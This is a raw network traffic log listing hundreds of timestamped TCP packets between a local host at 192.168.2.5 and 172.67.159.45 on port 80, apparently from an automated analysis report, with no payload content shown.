Oct 3, 2024 05:02:58.965581894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.965581894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.965594053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.965610981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.965612888 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.965614080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.965626001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.965631962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.965642929 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.965657949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.965656996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.965656996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.965675116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.965687037 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.965691090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.965703964 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.965708971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.965723038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.965743065 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.965761900 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966216087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966269970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966284037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966324091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966339111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966350079 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966363907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966367960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966378927 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966386080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966396093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966411114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966411114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966428995 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966499090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966527939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966542959 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966547012 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966558933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966568947 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966588020 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966622114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966743946 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966759920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966808081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966809034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966901064 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966917038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966932058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966945887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966958046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966958046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966960907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966975927 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.966984034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966984034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.966990948 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967003107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967006922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967025042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967025042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967046022 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967217922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967232943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967274904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967274904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967382908 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967407942 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967432022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967446089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967446089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967447996 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967463017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967478991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967479944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967494965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967505932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967505932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967510939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967530012 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967530012 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967552900 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967575073 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967588902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967622042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967633009 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967642069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967649937 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967688084 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967688084 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967746973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967770100 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967784882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967803955 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967833996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967853069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.967855930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.967905045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.054378033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.054528952 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.054560900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.054584026 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.054584026 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.054596901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.054630995 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.054652929 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.054652929 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.054677963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.054683924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.054718971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.054766893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.054766893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.054773092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.054805994 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.054828882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.054835081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.054861069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.054867983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.054887056 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.054934025 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.054946899 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.054989100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055059910 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055094004 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055114985 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055128098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055145025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055161953 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055183887 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055212021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055213928 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055246115 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055264950 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055280924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055305958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055315018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055327892 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055346966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055371046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055380106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055403948 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055432081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055444002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055464983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055497885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055499077 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055520058 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055531979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055547953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055565119 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055582047 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055597067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055620909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055629969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055644035 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055663109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055680990 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055696011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055718899 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055728912 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055742025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055762053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055788040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055797100 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055808067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055849075 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.055962086 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.055995941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056015015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056030035 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056047916 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056082010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056083918 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056133986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056142092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056174994 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056191921 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056207895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056226015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056241035 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056257963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056272984 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056291103 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056305885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056328058 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056339025 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056356907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056372881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056389093 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056406021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056423903 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056440115 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056457996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056495905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056653976 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056685925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056706905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056719065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056735992 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056746960 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056776047 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056786060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056802034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056818962 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056840897 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056849957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056876898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056884050 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056896925 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056916952 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056940079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056956053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.056976080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.056988001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057003975 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057019949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057038069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057051897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057071924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057085037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057102919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057116985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057136059 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057148933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057163954 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057199955 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057215929 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057249069 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057267904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057282925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057301998 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057337046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057454109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057486057 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057507992 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057518005 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057537079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057550907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057574034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057583094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057596922 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057615995 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057634115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057650089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057667971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057682037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057703018 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057713985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057733059 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057746887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057770014 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057780981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057811975 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057812929 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057832956 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057847023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057854891 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057879925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057898998 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057914019 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.057935953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.057964087 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.058757067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.058809042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.058810949 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.058839083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.058861017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.058888912 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.058890104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.058923006 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.058942080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.058955908 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.058978081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.058990002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059014082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059026003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059036970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059061050 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059081078 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059093952 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059114933 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059127092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059143066 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059179068 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059277058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059310913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059329987 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059376001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059384108 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059426069 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059434891 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059459925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059479952 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059498072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059499979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059530973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059551001 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059564114 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059587002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059597015 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059616089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059629917 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059637070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059662104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059681892 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059717894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059813023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059865952 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059876919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059911013 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059931993 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059961081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.059962034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.059993982 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.060024977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.060044050 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.060076952 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.060108900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.060139894 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.060141087 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.060161114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.060188055 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.060189962 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.060223103 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.060242891 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.060255051 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.060277939 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.060306072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.060306072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.060338974 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.060358047 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.060374022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.060394049 CEST	49705	80	192.168.2.5	172.67.159.45
